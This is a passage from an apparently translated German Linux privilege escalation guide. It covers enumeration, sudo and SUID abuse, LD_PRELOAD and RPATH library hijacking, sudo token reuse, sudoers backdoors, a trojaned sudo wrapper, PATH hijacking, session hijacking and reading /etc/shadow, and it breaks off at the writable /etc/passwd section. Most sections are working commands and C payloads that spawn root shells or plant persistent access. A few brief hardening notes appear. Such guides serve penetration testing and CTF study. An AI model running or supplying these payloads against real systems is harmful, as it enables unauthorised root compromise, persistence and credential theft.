Ein Beispiel für eine solche Policy in /etc/dbus-1/system.d/wpa_supplicant.conf wird gezeigt und beschreibt die Berechtigungen des root-Benutzers, fi.w1.wpa_supplicant1 zu besitzen sowie Nachrichten an dieses zu senden und von diesem zu empfangen.

Policies ohne einen angegebenen Benutzer oder Gruppe gelten universell, während “default”-Kontext-Policies für alle gelten, die nicht durch andere spezifische Policies abgedeckt sind.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Erfahre hier, wie man eine D-Bus-Kommunikation enumerate und exploit:

D-Bus Enumeration & Command Injection Privilege Escalation

Netzwerk

Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden.

Generische enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Offene Ports

Prüfe immer die Netzwerkdienste, die auf dem System laufen und mit denen du vor dem Zugriff nicht interagieren konntest:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Prüfe, ob du sniff traffic durchführen kannst. Wenn ja, könntest du credentials abgreifen.

timeout 1 tcpdump

Benutzer

Allgemeine Enumeration

Überprüfe, wer du bist, welche privileges du hast, welche users in den Systemen sind, welche sich login können und welche root privileges haben:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Große UID

Einige Linux-Versionen waren von einem Bug betroffen, der es Benutzern mit UID > INT_MAX erlaubt, Privilegien zu eskalieren. Mehr Infos: here, here und here.
Exploit it using: systemd-run -t /bin/bash

Gruppen

Prüfe, ob du Mitglied einer Gruppe bist, die dir root-Privilegien gewähren könnte:

Interesting Groups - Linux Privesc

Zwischenablage

Prüfe, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Passwort-Richtlinie

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekannte Passwörter

Wenn du ein Passwort der Umgebung kennst, versuche, dich mit diesem Passwort als jeden Benutzer anzumelden.

Su Brute

Wenn es dir nichts ausmacht, viel Lärm zu verursachen, und die Binärdateien su und timeout auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit su-bruteforce zu brute-forcen.
Linpeas mit dem Parameter -a versucht ebenfalls, Benutzer zu brute-forcen.

Ausnutzung schreibbarer PATH-Einträge

$PATH

Wenn du feststellst, dass du in ein Verzeichnis des $PATH schreiben kannst, kannst du möglicherweise Privilegien eskalieren, indem du eine Backdoor in das schreibbare Verzeichnis legst, die den Namen eines Befehls trägt, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und nicht aus einem Verzeichnis geladen wird, das im $PATH vor deinem schreibbaren Verzeichnis steht.

SUDO und SUID

Du könntest berechtigt sein, mit sudo einen Befehl auszuführen, oder Dateien könnten das suid-Bit gesetzt haben. Prüfe das mit:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Manche unerwarteten Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar Befehle auszuführen. Zum Beispiel:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Die Sudo-Konfiguration kann es einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In diesem Beispiel kann der Benutzer demo vim als root ausführen; es ist nun trivial, eine shell zu bekommen, indem man einen ssh key ins root-Verzeichnis hinzufügt oder sh aufruft.

sudo vim -c '!sh'

SETENV

Diese Direktive ermöglicht dem Benutzer, set an environment variable, während er etwas ausführt:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Dieses Beispiel, basierend auf HTB machine Admirer, war anfällig für PYTHONPATH hijacking, um eine beliebige python-Bibliothek zu laden, während das Skript als root ausgeführt wurde:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV durch sudo env_keep erhalten → root shell

Wenn sudoers BASH_ENV bewahrt (z. B., Defaults env_keep+="ENV BASH_ENV"), kann man das nicht-interaktive Startverhalten von Bash ausnutzen, um beliebigen Code als root auszuführen, wenn ein erlaubter Befehl aufgerufen wird.

  • Why it works: Für nicht-interaktive Shells wertet Bash $BASH_ENV aus und führt diese Datei aus, bevor das Zielskript gestartet wird. Viele sudo-Regeln erlauben das Ausführen eines Skripts oder eines Shell-Wrappers. Wenn BASH_ENV von sudo erhalten bleibt, wird Ihre Datei mit root-Rechten ausgeführt.

  • Requirements:

  • Eine sudo-Regel, die Sie ausführen können (jeder Zielbefehl, der /bin/bash nicht-interaktiv aufruft, oder jedes bash-Skript).

  • BASH_ENV in env_keep vorhanden (prüfen mit sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Härtung:
  • Entfernen Sie BASH_ENV (und ENV) aus env_keep, bevorzugen Sie env_reset.
  • Vermeiden Sie Shell-Wrapper für sudo-erlaubte Befehle; verwenden Sie minimale Binärprogramme.
  • Erwägen Sie sudo I/O-Logging und Alarmierung, wenn erhaltene env vars verwendet werden.

Terraform via sudo mit erhaltenem HOME (!env_reset)

Wenn sudo die Umgebung intakt lässt (!env_reset) und terraform apply erlaubt, bleibt $HOME der aufrufende Benutzer. Terraform lädt daher $HOME/.terraformrc als root und respektiert provider_installation.dev_overrides.

  • Zeigen Sie den benötigten provider auf ein beschreibbares Verzeichnis und legen Sie ein bösartiges Plugin mit dem Namen des providers ab (z. B. terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform schlägt beim Go-Plugin-Handshake fehl, führt die Nutzlast aber als root aus, bevor es abstürzt, und hinterlässt eine SUID-Shell.

TF_VAR overrides + symlink validation bypass

Terraform-Variablen können über Umgebungsvariablen TF_VAR_<name> bereitgestellt werden, die erhalten bleiben, wenn sudo die Umgebung bewahrt. Schwache Validierungen wie strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") lassen sich mit symlinks umgehen:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform löst den symlink auf und kopiert die echte /root/root.txt in ein für den Angreifer lesbares Ziel. Derselbe Ansatz lässt sich verwenden, um in privilegierte Pfade zu schreiben, indem Ziel-Symlinks vorab erstellt werden (z. B. indem man den provider’s destination path innerhalb von /etc/cron.d/ zeigt).

requiretty / !requiretty

Auf einigen älteren Distributionen kann sudo mit requiretty konfiguriert werden, was sudo zwingt, nur von einem interaktiven TTY aus ausgeführt zu werden. Wenn !requiretty gesetzt ist (oder die Option fehlt), kann sudo aus nicht-interaktiven Kontexten wie reverse shells, cron jobs oder scripts ausgeführt werden.

Defaults !requiretty

Dies ist für sich genommen keine direkte vulnerability, erweitert jedoch die Situationen, in denen sudo rules missbraucht werden können, ohne ein vollständiges PTY zu benötigen.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

Wenn sudo -l env_keep+=PATH anzeigt oder ein secure_path Einträge enthält, die vom Angreifer beschreibbar sind (z. B. /home/<user>/bin), kann jeder relative Befehl innerhalb des vom sudo erlaubten Ziels überschattet werden.

  • Voraussetzungen: eine sudo rule (oft NOPASSWD), die ein Skript oder Binary ausführt, das Befehle ohne absolute Pfade aufruft (free, df, ps, etc.), und ein schreibbares PATH-Element, das zuerst durchsucht wird.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo-Ausführung: Pfade umgehen

Springe, um andere Dateien zu lesen oder verwende symlinks. Zum Beispiel in der sudoers-Datei: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Wenn eine wildcard verwendet wird (*), ist es noch einfacher:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Gegenmaßnahmen: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary ohne Angabe des Kommando-Pfads

Wenn die sudo-Berechtigung für einen einzelnen Befehl ohne Angabe des Pfads vergeben ist: hacker10 ALL= (root) less kannst du es ausnutzen, indem du die PATH-Variable änderst.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Diese Technik kann auch verwendet werden, wenn ein suid binary einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit strings den Inhalt eines ungewöhnlichen SUID-Binaries)).

Payload examples to execute.

SUID binary mit Befehls-Pfad

Wenn das suid binary einen anderen Befehl ausführt, der den Pfad angibt, dann kannst du versuchen, eine Funktion zu exportieren, die den Namen des Befehls trägt, den die suid-Datei aufruft.

Zum Beispiel, wenn ein suid binary /usr/sbin/service apache2 start aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Wenn du dann das suid-Binary aufrufst, wird diese Funktion ausgeführt

LD_PRELOAD & LD_LIBRARY_PATH

Die Umgebungsvariable LD_PRELOAD wird verwendet, um eine oder mehrere shared libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen, einschließlich der Standard-C-Bibliothek (libc.so), geladen werden sollen. Dieser Vorgang ist als Vorladen einer Bibliothek bekannt.

Um die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion ausgenutzt wird — insbesondere bei suid/sgid-Executables — erzwingt das System bestimmte Bedingungen:

  • Der Loader ignoriert LD_PRELOAD für Executables, bei denen die real user ID (ruid) nicht mit der effective user ID (euid) übereinstimmt.
  • Für Executables mit suid/sgid werden nur Bibliotheken in Standardpfaden vorgeladen, die ebenfalls suid/sgid sind.

Privilege escalation kann auftreten, wenn du Befehle mit sudo ausführen darfst und die Ausgabe von sudo -l die Anweisung env_keep+=LD_PRELOAD enthält. Diese Konfiguration erlaubt, dass die Umgebungsvariable LD_PRELOAD beibehalten und selbst bei mit sudo ausgeführten Befehlen erkannt wird, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.

Defaults        env_keep += LD_PRELOAD

Speichere als /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dann kompiliere es mit:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Schließlich escalate privileges ausführen.

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Eine ähnliche privesc kann ausgenutzt werden, wenn der Angreifer die Umgebungsvariable LD_LIBRARY_PATH kontrolliert, da er den Pfad kontrolliert, in dem Bibliotheken gesucht werden.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wenn Sie auf ein binary mit SUID-Berechtigungen stoßen, das ungewöhnlich erscheint, ist es gute Praxis zu prüfen, ob es .so-Dateien korrekt lädt. Das kann überprüft werden, indem Sie den folgenden Befehl ausführen:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Zum Beispiel deutet das Auftreten eines Fehlers wie “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” auf ein mögliches Exploit-Potenzial hin.

Um dies auszunutzen, erstellt man eine C-Datei, zum Beispiel “/path/to/.config/libcalc.c”, die den folgenden Code enthält:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Dieser Code versucht, nach dem Kompilieren und Ausführen Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten startet.

Kompiliere die obige C-Datei in eine shared object (.so)-Datei mit:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Wenn das betroffene SUID-Binary ausgeführt wird, sollte der Exploit ausgelöst werden, was eine mögliche Kompromittierung des Systems erlaubt.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Da wir nun ein SUID binary gefunden haben, das eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem erforderlichen Namen:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Wenn du einen Fehler wie den folgenden erhältst:

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

das bedeutet, dass die Bibliothek, die du erzeugt hast, eine Funktion namens a_function_name enthalten muss.

GTFOBins

GTFOBins ist eine kuratierte Liste von Unix-Binaries, die ein Angreifer ausnutzen kann, um lokale Sicherheitsbeschränkungen zu umgehen. GTFOArgs ist dasselbe, jedoch für Fälle, in denen du nur Argumente injizieren kannst.

Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, bind and reverse shells zu spawnen und andere post-exploitation-Aufgaben zu erleichtern.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

Wenn du auf sudo -l zugreifen kannst, kannst du das Tool FallOfSudo verwenden, um zu prüfen, ob es Wege findet, eine sudo-Regel auszunutzen.

Reusing Sudo Tokens

In Fällen, in denen du sudo access hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du darauf wartest, dass ein sudo-Befehl ausgeführt wird, und dann das Session-Token kaperst.

Voraussetzungen zur Privilegieneskalation:

  • Du hast bereits eine Shell als Benutzer “sampleuser”
  • “sampleuser” hat sudo verwendet, um etwas in den letzten 15 Minuten auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die es uns erlaubt, sudo zu verwenden, ohne ein Passwort einzugeben)
  • cat /proc/sys/kernel/yama/ptrace_scope ist 0
  • gdb ist erreichbar (du kannst es hochladen)

(Du kannst ptrace_scope vorübergehend aktivieren mit echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope oder dauerhaft, indem du /etc/sysctl.d/10-ptrace.conf bearbeitest und kernel.yama.ptrace_scope = 0 setzt)

Wenn alle diese Voraussetzungen erfüllt sind, kannst du Privilegien eskalieren mit: https://github.com/nongiach/sudo_inject

  • der erste Exploit (exploit.sh) erstellt die Binärdatei activate_sudo_token in /tmp. Du kannst sie verwenden, um das sudo-Token in deiner Sitzung zu aktivieren (du erhältst nicht automatisch eine root-Shell, führe sudo su aus):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Der zweite exploit (exploit_v2.sh) erstellt eine sh-Shell in /tmp, die im Besitz von root ist und mit setuid versehen ist.
bash exploit_v2.sh
/tmp/sh -p
  • Der dritte Exploit (exploit_v3.sh) wird eine sudoers-Datei erstellen, die sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Wenn Sie Schreibrechte in dem Ordner oder an einer der in dem Ordner erstellten Dateien haben, können Sie das Binary write_sudo_token verwenden, um ein sudo-Token für einen Benutzer und eine PID zu erstellen.
Zum Beispiel, wenn Sie die Datei /var/run/sudo/ts/sampleuser überschreiben können und eine Shell als dieser Benutzer mit PID 1234 haben, können Sie sudo-Rechte erlangen ohne das Passwort zu kennen, indem Sie:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die Datei /etc/sudoers und die Dateien in /etc/sudoers.d legen fest, wer sudo verwenden kann und wie. Diese Dateien können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden.
Wenn du diese Datei lesen kannst, könntest du einige interessante Informationen erhalten, und wenn du eine Datei schreiben kannst, wirst du in der Lage sein, escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Eine andere Möglichkeit, diese Berechtigungen auszunutzen:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Es gibt einige Alternativen zur sudo-Binary, wie etwa doas für OpenBSD. Überprüfe dessen Konfiguration in /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Wenn du weißt, dass ein Benutzer sich üblicherweise an einer Maschine anmeldet und sudo benutzt, um Privilegien zu eskalieren, und du eine Shell im Kontext dieses Benutzers erhalten hast, kannst du ein neues sudo executable erstellen, das zuerst deinen Code als root und danach den Befehl des Benutzers ausführt. Ändere dann den $PATH des Benutzer-Kontexts (zum Beispiel indem du den neuen Pfad in .bash_profile hinzufügst), sodass beim Ausführen von sudo dein sudo executable ausgeführt wird.

Beachte, dass du, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel sudo-piggyback verändert ~/.bashrc, ~/.zshrc, ~/.bash_profile. Ein weiteres Beispiel findest du in bashdoor.py

Oder so etwas ausführen:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gemeinsame Bibliothek

ld.so

Die Datei /etc/ld.so.conf zeigt woher die geladenen Konfigurationsdateien stammen. Typischerweise enthält diese Datei folgenden Eintrag: include /etc/ld.so.conf.d/*.conf

Das bedeutet, dass die Konfigurationsdateien unter /etc/ld.so.conf.d/*.conf gelesen werden. Diese Konfigurationsdateien weisen auf andere Verzeichnisse hin, in denen nach Bibliotheken gesucht wird. Zum Beispiel enthält /etc/ld.so.conf.d/libc.conf den Eintrag /usr/local/lib. Das bedeutet, dass das System nach Bibliotheken in /usr/local/lib suchen wird.

Wenn ein Benutzer aus irgendeinem Grund Schreibrechte auf einen der angegebenen Pfade hat: /etc/ld.so.conf, /etc/ld.so.conf.d/, eine Datei innerhalb von /etc/ld.so.conf.d/ oder ein Verzeichnis, auf das in einer Konfigurationsdatei unter /etc/ld.so.conf.d/*.conf verwiesen wird, könnte er Privilegien eskalieren.
Sieh dir an, wie diese Fehlkonfiguration ausgenutzt werden kann auf der folgenden Seite:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Indem Sie die lib nach /var/tmp/flag15/ kopieren, wird sie vom Programm an dieser Stelle verwendet, wie in der Variable RPATH angegeben.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Erstelle dann eine bösartige Bibliothek in /var/tmp mit gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capabilities

Linux capabilities stellen eine Teilmenge der verfügbaren root-Privilegien für einen Prozess dar. Dies zerlegt effektiv root Privilegien in kleinere und unterscheidbare Einheiten. Jede dieser Einheiten kann dann unabhängig Prozessen zugewiesen werden. Auf diese Weise wird die vollständige Menge an Privilegien reduziert, wodurch die Risiken einer Ausnutzung sinken.
Lies die folgende Seite, um mehr über capabilities und deren Missbrauch zu erfahren:

Linux Capabilities

Verzeichnisberechtigungen

In einem Verzeichnis impliziert das Bit für “execute”, dass der betroffene Benutzer mit “cd” in den Ordner wechseln kann.
Das “read”-Bit impliziert, dass der Benutzer die files list kann, und das “write”-Bit impliziert, dass der Benutzer delete und create neue files kann.

ACLs

Access Control Lists (ACLs) bilden die sekundäre Ebene diskretionärer Berechtigungen und können die traditionellen ugo/rwx-Berechtigungen übersteuern. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an Granularität sorgt für eine präzisere Zugriffskontrolle. Weitere Details finden sich hier.

Gib Benutzer “kali” Lese- und Schreibrechte für eine Datei:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Erhalte Dateien mit bestimmten ACLs vom System:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Offene shell sessions

In älteren Versionen ist es möglich, eine hijack einer shell session eines anderen Benutzers (root) vorzunehmen.
In neuesten Versionen kannst du connect nur zu screen sessions deines eigenen Benutzers. Allerdings könntest du interessante Informationen innerhalb der session finden.

screen sessions hijacking

screen sessions auflisten

screen -ls
screen -ls <username>/ # Show another user' screen sessions

An eine Sitzung anhängen

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dies war ein Problem bei älteren tmux-Versionen. Ich konnte als non-privileged user eine von root erstellte tmux (v2.1) session nicht hijacken.

tmux sessions auflisten

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

An eine session anhängen

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Siehe Valentine box from HTB als Beispiel.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Alle SSL- und SSH-keys, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein.
Dieser Bug tritt beim Erstellen eines neuen ssh-keys in diesen OS auf, da nur 32.768 Varianten möglich waren. Das bedeutet, dass alle Möglichkeiten berechnet werden können und wenn man den ssh public key hat, kann man nach dem entsprechenden privaten Schlüssel suchen. Die berechneten Möglichkeiten findest du hier: https://github.com/g0tmi1k/debian-ssh

SSH Interessante Konfigurationswerte

  • PasswordAuthentication: Gibt an, ob Passwort-Authentifizierung erlaubt ist. Standardmäßig ist no.
  • PubkeyAuthentication: Gibt an, ob Public-key-Authentifizierung erlaubt ist. Standardmäßig ist yes.
  • PermitEmptyPasswords: Wenn Passwort-Authentifizierung erlaubt ist, legt dies fest, ob der Server Anmeldungen für Konten mit leerem Passwort erlaubt. Standardmäßig ist no.

PermitRootLogin

Legt fest, ob root sich per SSH anmelden kann. Standard ist no. Mögliche Werte:

  • yes: root kann sich mit Passwort und private key anmelden
  • without-password or prohibit-password: root kann sich nur mit einem private key anmelden
  • forced-commands-only: root kann sich nur mit private key anmelden und nur, wenn die commands-Optionen angegeben sind
  • no : nein

AuthorizedKeysFile

Legt Dateien fest, die die public keys enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Sie kann Token wie %h enthalten, die durch das Home-Verzeichnis ersetzt werden. Sie können absolute Pfade angeben (beginnend mit /) oder relative Pfade vom Home des Benutzers. Zum Beispiel:

AuthorizedKeysFile    .ssh/authorized_keys access

Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem private Key des Benutzers “testusername” einzuloggen, ssh den public key deines Keys mit denjenigen in /home/testusername/.ssh/authorized_keys und /home/testusername/access vergleichen wird.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding ermöglicht es dir, use your local SSH keys instead of leaving keys (ohne Passphrases!) auf deinem Server liegen zu lassen. Dadurch wirst du in der Lage sein, jump via ssh to a host und von dort jump to another host using den key auf deinem initial host.

Du musst diese Option in $HOME/.ssh.config wie folgt setzen:

Host example.com
ForwardAgent yes

Beachte, dass wenn Host auf * steht, jedes Mal wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem ist).

Die Datei /etc/ssh_config kann diese Optionen überschreiben und diese Konfiguration erlauben oder verweigern.
Die Datei /etc/sshd_config kann ssh-agent forwarding mit dem Keyword AllowAgentForwarding erlauben oder verweigern (Standard ist allow).

Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da du es möglicherweise missbrauchen kannst, um Privilegien zu eskalieren:

SSH Forward Agent exploitation

Interessante Dateien

Profile-Dateien

Die Datei /etc/profile und die Dateien unter /etc/profile.d/ sind Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet. Daher kannst du, wenn du eine davon schreiben oder ändern kannst, Privilegien eskalieren.

ls -l /etc/profile /etc/profile.d/

Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf sensible Details überprüfen.

Passwd/Shadow-Dateien

Abhängig vom Betriebssystem können die /etc/passwd- und /etc/shadow-Dateien einen anderen Namen haben oder es kann eine Sicherungskopie vorhanden sein. Daher wird empfohlen, alle zu finden und zu prüfen, ob du sie lesen kannst, um zu sehen, ob sich Hashes in den Dateien befinden:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In manchen Fällen kannst du password hashes in der /etc/passwd (oder in einer entsprechenden) Datei finden.

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Schreibbares /etc/passwd

Erzeuge zuerst ein Passwort mit einem der folgenden Befehle.

openssl passwd -1 -salt hacker hacker
